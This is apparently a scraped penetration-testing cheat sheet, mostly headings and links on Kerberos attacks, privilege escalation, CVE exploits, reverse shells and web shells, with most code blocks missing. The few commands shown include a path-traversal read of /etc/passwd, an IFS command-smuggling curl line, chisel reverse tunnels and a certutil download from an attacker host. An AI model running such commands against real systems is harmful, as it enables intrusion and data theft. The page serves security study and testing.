Page cover

Commands

Basics

curl

curl -v http://<DOMAIN>                                                        // verbose output
curl -X POST http://<DOMAIN>                                                   // use POST method
curl -X PUT http://<DOMAIN>                                                    // use PUT method
curl --path-as-is http://<DOMAIN>/../../../../../../etc/passwd                 // use --path-as-is to handle /../ or /./ in the given URL
curl --proxy http://127.0.0.1:8080                                             // use proxy
curl -F myFile=@<FILE> http://<RHOST>                                          // file upload
curl${IFS}<LHOST>/<FILE>                                                       // Internal Field Separator (IFS) example

Chisel

Reverse Pivot

./chisel server -p 9002 -reverse -v
./chisel client <LHOST>:9002 R:3000:127.0.0.1:3000

SOCKS5 / Proxychains Configuration

./chisel server -p 9002 -reverse -v
./chisel client <LHOST>:9002 R:socks

File Transfer

Certutil

certutil -urlcache -split -f "http://<LHOST>/<FILE>" <FILE>

Netcat

Impacket

PowerShell

Bash only

wget version

Paste directly to the shell.

curl version

FTP

Kerberos

Ligolo-ng

https://github.com/nicocha30/ligolo-ngarrow-up-right

Download Proxy and Agent

Prepare Tunnel Interface

Setup Proxy on Attacker Machine

Setup Agent on Target Machine

Session

Linux

CentOS

Environment Variables

gcc

getfacl

iconv

vi

Windows Command Formatting

Microsoft Windows

dir

PHP Webserver

Ping

Python Webserver

RDP

showmount

smbclient

Download multiple files at once

Upload multiple Files at once

socat

SSH

Time and Date

Get the Server Time

Stop virtualbox-guest-utils to stop syncing Time

Stop systemd-timesyncd to sync Time manually

Disable automatic Sync

Options to set the Date and Time

Keep in Sync with a Server

Tmux

Copy & Paste

Search

Logging

Save Output

Upgrading Shells

Alternatively:

Oneliner

Fixing Staircase Effect

or

VirtualBox

virtualenv

Information Gathering

memcached

https://github.com/pd4d10/memcached-cliarrow-up-right

NetBIOS

Nmap

Port Scanning

snmpwalk

Web Application Analysis

Burp Suite

Set Proxy Environment Variables

cadaver

Cross-Site Scripting (XSS)

ffuf

API Fuzzing

Searching for LFI

Fuzzing with PHP Session ID

Recursion

File Extensions

Rate Limiting

Virtual Host Discovery

Massive File Extension Discovery

GitTools

Gobuster

Common File Extensions

Common Picture Extensions

POST Requests

DNS Recon

VHost Discovery

Specifiy User Agent

Local File Inclusion (LFI)

Until php 5.3

Null Byte

Encoded Traversal Strings

php://filter Wrapper

https://medium.com/@nyomanpradipta120/local-file-inclusion-vulnerability-cfd9e62d12cbarrow-up-right

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusionarrow-up-right

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion#wrapper-phpfilterarrow-up-right

Django, Rails, or Node.js Web Application Header Values

Linux Files

Windows Files

PDF PHP Inclusion

Create a file with a PDF header, which contains PHP code.

PHP Upload Filter Bypasses

PHP Filter Chain Generator

https://github.com/synacktiv/php_filter_chain_generatorarrow-up-right

PHP Generic Gadget Chains (PHPGGC)

Server-Side Request Forgery (SSRF)

Server-Side Template Injection (SSTI)

Fuzz String

arua2c

APT

Read first Line of a File with apache2 Binary

Apache2

grep for Passwords

find Commands

Basic Linux Enumeration

Linux

ldapsearch

Get NTLM from Password

Execute CMD on Remote Host

Inject Ticket with Rubeus

Rubeus Examples

Inject TGT with Mimikatz

Generate TGT with AES 256bit Key (More secure Encryption, probably more stealth due is it used by Default)

Generate TGT with AES 128bit Key

Generate TGT with NTLM

mimikatz Examples

Execute Remote Commands by using TGT

Set TGT for Impacket Usage

Generate TGT with aesKey

Generate TGT with NTLM

Impacket Examples

Golden Ticket

Execute CMD on Remote Host

Rubeus Examples

Inject TGS with Mimikatz

Generate TGS with AES 256bit Key (More secure Encryption, probably more stealth due is it used by Default)

Generate TGS with AES 128bit Key

Generate TGS with NTLM

mimikatz Examples

Execute Remote Commands by using TGT

Set the ticket for impacket use

Generate TGS with aesKey

Generate TGS with NTLM

Impacket Examples

Silver Ticket

Execute a CMD on Remote Host

Inject Ticket with Rubeus

Inject Ticket with mimikatz

Using Ticket on Windows

Execute Remote Commands by using TGT

Using Ticket on Linux

https://github.com/Zer1t0/ticket_converterarrow-up-right

Convert Tickets between Linux and Windows Format with ticket_converter.py

Convert Tickets dumped with Rubeus into base64

Harvest Tickets from Windows

  • If none return, default is FILE:/tmp/krb5cc_%{uid}

  • In Case of File Tickets it is possible to Copy-Paste them to use them

  • In Case of being KEYRING Tickets, the Tool tickey can be used to get them

  • To dump User Tickets, if root, it is recommended to dump them all by injecting in other user processes

  • To inject, the Ticket have to be copied in a reachable Folder by all Users

Check Type and Location of Tickets

Harvest Tickets from Linux

Pass The Ticket (PTT)

Execute a CMD on Remote Host

Ask and inject the Ticket

Execute Remote Commands

Set TGT for Impacket Usage

Request TGT with Password

Request TGT with aesKey (More secure Encryption, probably more stealth due is it used by Default)

Request TGT with Hash

Overpass The Hash/Pass The Key (PTK)

Kerberoasting

Check ASPREPRoast for all Domain Users in Domain

Check ASPREPRoast for a List of Users (No Credentials required)

Check ASPREPRoast for all Domain Users (Credentials required)

ASPREPRoast

Check Passwords for all Users in Domain

With List of Users

Bruteforce

  • Golden Ticket is a Ticket Granting Ticket (TGT) and completely forged offline (KRBTGT Account Hash needed).

  • Silver Ticket is a forged service authentication ticket (Service Principal Name (SPN) and Machine Account Keys (Hash in RC4 or AES) needed). Silver Tickets do not touch the Domain Controller (DC).

  • Diamond Ticket is essentially a Golden Ticket but requested from a Domain Controller (DC).

General Notes

https://gist.github.com/TarlogicSecurity/2f221924fef8c14a1d8e29f3cb5c5c4aarrow-up-right

Kerberos

JAWS

https://github.com/fortra/impacket/blob/5c477e71a60e3cc434ebc0fcc374d6d108f58f41/examples/owneredit.pyarrow-up-right

owneredit.py

https://github.com/Porchetta-Industries/CrackMapExec/blob/master/cme/helpers/msada_guids.pyarrow-up-right

Then put the msada_guids.py into the same directory as dacledit.py

Fixing msada_guids Error

https://github.com/fortra/impacket/blob/204c5b6b73f4d44bce0243a8f345f00e308c9c20/examples/dacledit.pyarrow-up-right

dacledit.py

How to fix it

Issue

Fixing [-] exceptions must derive from BaseException

  • Valid User

  • NTHASH

  • Domain-SID

Requirements

impacket-ticketer

impacket-psexec

impacket-secretsdump

impacket-getUserSPNs

impacket-GetNPUsers

impacket-getTGT

impacket-smbclient

Impacket

Evil-WinRM

enum4linux-ng

Start BloodHound Fork

Revert Changes

Run the following command twice because of a current issue with certipy.

Certificate Request

Certificate Forging

LDAP-Shell

Authentication

Account Creation

https://github.com/ly4k/BloodHound/arrow-up-right

https://github.com/ly4k/Certipyarrow-up-right

Certipy

https://github.com/GhostPack/Certifyarrow-up-right

Certify

bloodyAD

BloodHound Python

http://localhost:7474/browser/arrow-up-right

Database Password Reset

Docker Container

http://localhost:7474/browser/arrow-up-right

Installing and starting Database

BloodHound

ADCSTemplate

ESC11: IF_ENFORCEENCRYPTICERTREQUEST

Case 2

Case 1

ESC10: Weak Certificate Mappings

ESC9: No Security Extensions

Coercing

ESC8: NTLM Relay to AD CS HTTP Endpoints

ESC7: Vulnerable Certificate Authority Access Control

ESC6: EDITF_ATTRIBUTESUBJECTALTNAME2

ESC4: Vulnerable Certificate Template Access Control

ESC3: Enrollment Agent Templates

ESC2: Misconfigured Certificate Templates

ESC1: Misconfigured Certificate Templates

Active Directory Certificate Services (AD CS)

Post Exploitation

Download Files

Setup Listener for Microsoft Windows

Generate Payload

Meterpreter Listener

Auxiliary Output Directory

Metasploit through Proxychains

Metasploit

poc.svg

https://insert-script.blogspot.com/2020/11/imagemagick-shell-injection-via-pdf.htmlarrow-up-right

MSL / Polyglot Attack

https://imagetragick.com/arrow-up-right

ImageTragick

Exploitation Tools

pypykatz

NetExec

Skeleton Key

Forging Golden Ticket

Pass the Ticket

Dump Hshes

Common Commands

mimikatz

LaZagne

Password Spray

User Enumeration

Kerbrute

John

Hydra

Cracking with OneRuleToRuleThemAll.rule

https://github.com/NotSoSecure/password_cracking_rules/blob/master/OneRuleToRuleThemAll.rulearrow-up-right

Rules

Crack with hashcat

Result

Generate NetNLTMv2 with internalMonologue and crack with hashcat

Generate Password Candidates: Wordlist + Pattern

Bruteforce based on the Pattern

Cracking Kerberoasting Password File

Cracking ASPREPRoast Password File

https://hashcat.net/wiki/doku.php?id=example_hashesarrow-up-right

https://hashcat.net/cap2hashcat/arrow-up-right

https://hashcat.net/wiki/doku.php?id=hashcatarrow-up-right

https://hashcat.net/hashcat/arrow-up-right

hashcat

fcrack

CrackMapExec

Password Attacks

List Files and Folders with xp_dirtree

sqsh

sqlite3

SQL Truncation Attack

Authentication Bypass

Master List

SQL Injection

Enter own SSH Key

Redis

Common Commands

PostgreSQL

NoSQL Injection

Linked SQL Server Enumeration

Write SSH Key into authorized_keys2 file

Insert Code to get executed

xp_cmdshell

Drop a Shell

Update User Password

MySQL

Steal NetNTLM Hash / Relay Attack

Binary Extraction as Base64

OPENQUERY

Show Database Content

Connection

MSSQL

User Password Reset to "12345"

MongoDB

Privilege Escalation

Connection

Common Commands

impacket-mssqlclient

Database Analysis

Payloads

Skeleton Payload Request

XML External Entity (XXE)

WPScan

Enumerating PIDs

Numbering Files

DNS

SQL

Login

Git

Subdomain

Domain

Fuzzing two Parameters at once

Custom Scan with limited Output

Write to File

wfuzz

Upload Vulnerabilities

https://medium.com/@nyomanpradipta120/ssti-in-flask-jinja2-20b068fdaeeearrow-up-right

Magic Payload

https://cobalt.io/blog/a-pentesters-guide-to-server-side-template-injection-sstiarrow-up-right

Bash Debugging Mode

  • Bash <4.4

Bash Functions

  • Bash <4.2-048

LD_PRELOAD

https://www.hackingarticles.in/linux-privilege-escalation-using-ld_preload/arrow-up-right

shell.c

or

Compiling

Privilege Escalation

LD_LIBRARY_PATH

Get Information about Libraries

shell.c

Compiling

Privilege Escalation

logrotten

https://github.com/whotwagner/logrottenarrow-up-right

If "create"-option is set in logrotate.cfg

If "compress"-option is set in logrotate.cfg

Path Variable Hijacking

PHP7.2

relayd

The binary need to have the SUID bit set.

Shared Library Misconfiguration

https://tbhaxor.com/exploiting-shared-library-misconfigurations/arrow-up-right

shell.c

Compiling

Wildcards

https://www.defensecode.com/public/DefenseCode_Unix_WildCards_Gone_Wild.txtarrow-up-right

With the command touch -- --checkpoint=1 will be a file created. Why? Because the -- behind the command touch is telling touch, that there's option to be wait for. Instead of an option, it creates a file, named --checkpoint=1.

or

So after creating the --checkpoint=1 file, i created another file, which executes a shell script.

or

To delete a misconfigured file, put a ./ in front of it.

Writeable Directories in Linux

Microsoft Windows

Basic Windows Enumeration

AppLocker Bypass List

accesschk

Checking File Permissions

Checking Service Permissions

Checking Path Permissions to find Unquoted Service Paths

Checking Registry Entries

Adding Users to Groups

Enable Remote Desktop (RDP)

or

Privileges and Permissions

AlwaysInstallElevated

SeBackup and SeRestore Privilege

Backup SAM and SYSTEM Hashes

Dumping Hashes

SeBackupPrivilege Privilege Escalation (diskshadow)

https://github.com/giuliano108/SeBackupPrivilege/tree/master/SeBackupPrivilegeCmdLets/bin/Debugarrow-up-right

Script for PowerShell Environment

Copy ntds.dit

Export System Registry Value

Extract the Hashes

Alternative Way via Robocopy

SeTakeOwnership Privilege

Click the Ease of Access button on the logon screen to get a shell with NT Authority\System privileges.

SeImpersonate and SeAssignPrimaryToken Privilege

https://github.com/antonioCoco/RogueWinRMarrow-up-right

Registry Handling

Enable Colored Output

Then open a new Terminal Window.

Check for Auto Run Programs

Get Registry Key Information

Modify Registry Key

Searching for Credentials

Quick Wins

https://twitter.com/NinjaParanoid/status/1516442028963659777?t=g7ed0vt6ER8nS75qd-g0sQ&s=09arrow-up-right

https://www.nirsoft.net/utils/credentials_file_view.htmlarrow-up-right

Search for Passwords

PowerShell History

Saved Windows Credentials

Search the Registry for Passwords

Dumping Credentials

Internet Information Service (IIS)

PuTTY

Lsass

Unattended Windows Installations

Insecure Service Permissions

Service Handling

Scheduled Tasks

Unquoted Service Paths

Search for Unquoted Service Paths by using sc qc.

writeDACL

https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/arrow-up-right

WMIC

PassTheCert

https://offsec.almond.consulting/authenticating-with-certificates-when-pkinit-is-not-supported.htmlarrow-up-right

https://github.com/AlmondOffSec/PassTheCert/tree/main/Pythonarrow-up-right

PKINITtools

Port Scanning

powercat

Powermad

PowerShell

Common Commands

Allow Script Execution

Script Execution Bypass

Import Module to PowerShell cmdlet

Check PowerShell Versions

Read PowerShell History

Create a .zip File

Unzip a File

Start a new Process

Invoke-Expression / Invoke-WebRequest

.NET Reflection

Start offsec Session

Execute Command as another User

or

Add new Domain Administrator

Execute Commands in User Context

Execute Scripts with Credentials (Reverse Shell)

pwncat

rpcclient

Rubeus

Overpass the Hash

Pass the Hash

RunasCs

smbpasswd

winexe

CVE

CVE-2014-6271: Shellshock RCE PoC

CVE-2016-1531: exim LPE

  • exim version <= 4.84-3

CVE-2019-14287: Sudo Bypass

https://www.exploit-db.com/exploits/47502arrow-up-right

Prerequisites

  • Sudo version < 1.8.28

Exploitation

CVE-2020-1472: ZeroLogon PE

https://github.com/SecuraBV/CVE-2020-1472arrow-up-right

https://raw.githubusercontent.com/SecuraBV/CVE-2020-1472/master/zerologon_tester.pyarrow-up-right

Prerequisites

PoC Modification

Weaponized PoC

Execution

CVE-2021-3156: Sudo / sudoedit LPE

https://medium.com/mii-cybersec/privilege-escalation-cve-2021-3156-new-sudo-vulnerability-4f9e84a9f435arrow-up-right

Pre-requisistes

  • Ubuntu 20.04 (Sudo 1.8.31)

  • Debian 10 (Sudo 1.8.27)

  • Fedora 33 (Sudo 1.9.2)

  • All legacy versions >= 1.8.2 to 1.8.31p2 and all stable versions >= 1.9.0 to 1.9.5p1

Vulnerability Test

The machine is vulnerable if one of the following message is shown.

Not vulnerable if the error message starts with usage:.

CVE-2021-44228: Log4Shell RCE (0-day)

https://github.com/kozmer/log4j-shell-pocarrow-up-right

Pre-requisistes

https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.htmlarrow-up-right

Start the Listener

Execution

CVE-2022-0847: Dirty Pipe LPE

CVE-2022-22963: Spring4Shell RCE (0-day)

https://github.com/me2nuk/CVE-2022-22963arrow-up-right

CVE-2022-30190: MS-MSDT Follina RCE

https://github.com/JohnHammond/msdt-follinaarrow-up-right

CVE-2022-31214: Firejail LPE

https://seclists.org/oss-sec/2022/q2/188arrow-up-right

https://www.openwall.com/lists/oss-security/2022/06/08/10arrow-up-right

First Terminal

Second Terminal

CVE-2023-21746: Windows NTLM EoP LocalPotato LPE

https://github.com/decoder-it/LocalPotatoarrow-up-right

https://github.com/blackarrowsec/redteam-research/tree/master/LPE%20via%20StorSvcarrow-up-right

Modify the following file and build the solution.

Modify the following file and build the solution.

First get the paths from the environment, then use LocalPotato to place the malicious DLL.

At least trigger StorSvc via RpcClient.exe.

CVE-2023-22809: Sudo Bypass

https://medium.com/@dev.nest/how-to-bypass-sudo-exploit-cve-2023-22809-vulnerability-296ef10a1466arrow-up-right

Prerequisites

  • Sudo version needs to be ≥ 1.8 and < 1.9.12p2.

  • Limited Sudo access to at least one file on the system that requires root access.

Example

Exploitation

CVE-2023-23397: Microsoft Outlook (Click-to-Run) PE (0-day) (PowerShell Implementation)

CVE-2023-32629, CVE-2023-2640: GameOverlay Ubuntu Kernel Exploit LPE (0-day)

  • Linux ubuntu2204 5.19.0-46-generic

CVE-2023-4911: Looney Tunables LPE

GodPotato LPE

https://github.com/BeichenDream/GodPotatoarrow-up-right

Juicy Potato LPE

https://github.com/ohpe/juicy-potatoarrow-up-right

http://ohpe.it/juicy-potato/CLSID/arrow-up-right

GetCLSID.ps1

Execution

JuicyPotatoNG LPE

https://github.com/antonioCoco/JuicyPotatoNGarrow-up-right

MySQL 4.x/5.0 User-Defined Function (UDF) Dynamic Library (2) LPE

https://www.exploit-db.com/exploits/1518arrow-up-right

PrintSpoofer LPE

https://github.com/itm4n/PrintSpooferarrow-up-right

SharpEfsPotato LPE

https://github.com/bugch3ck/SharpEfsPotatoarrow-up-right

Shocker Container Escape

https://raw.githubusercontent.com/gabrtv/shocker/master/shocker.carrow-up-right

Modifying Exploit

Compiling

Payloads

Donut

Exiftool

PHP into JPG Injection

GhostScript

nishang

Reverse Shells

Bash Reverse Shell

curl Reverse Shell

Groovy (Jenkins) Reverse Shell

JAVA Reverse Shell

shell.jar

Lua Reverse Shell

Markdown Reverse Shell

mkfifo Reverse Shell

Netcat Reverse Shell

Perl Reverse Shell

PHP Reverse Shell

PowerShell Reverse Shell

minireverse.ps1

Python Reverse Shell

Ruby Reverse Shell

ScareCrow

Payloads

Shellcode Payload Creation with msfvenom

.msi-File Payload Creation with msfvenom

Listener

Obfuscation

DLL Side-Loading

Windows Script Host

Control Panel Files

Renaming Payload

Execution

or

For .cpl-Files a simple double click is enough to execute them.

Shikata Ga Nai

Web Shells

PHP Web Shell

ysoserial

Templates

ASPX Web Shell

Bad YAML

Exploit Skeleton Python Script

JSON POST Request

Python Pickle RCE

Python Redirect for SSRF

Python Web Request

XML External Entity (XXE)

Request

Content of .dtd

Last updated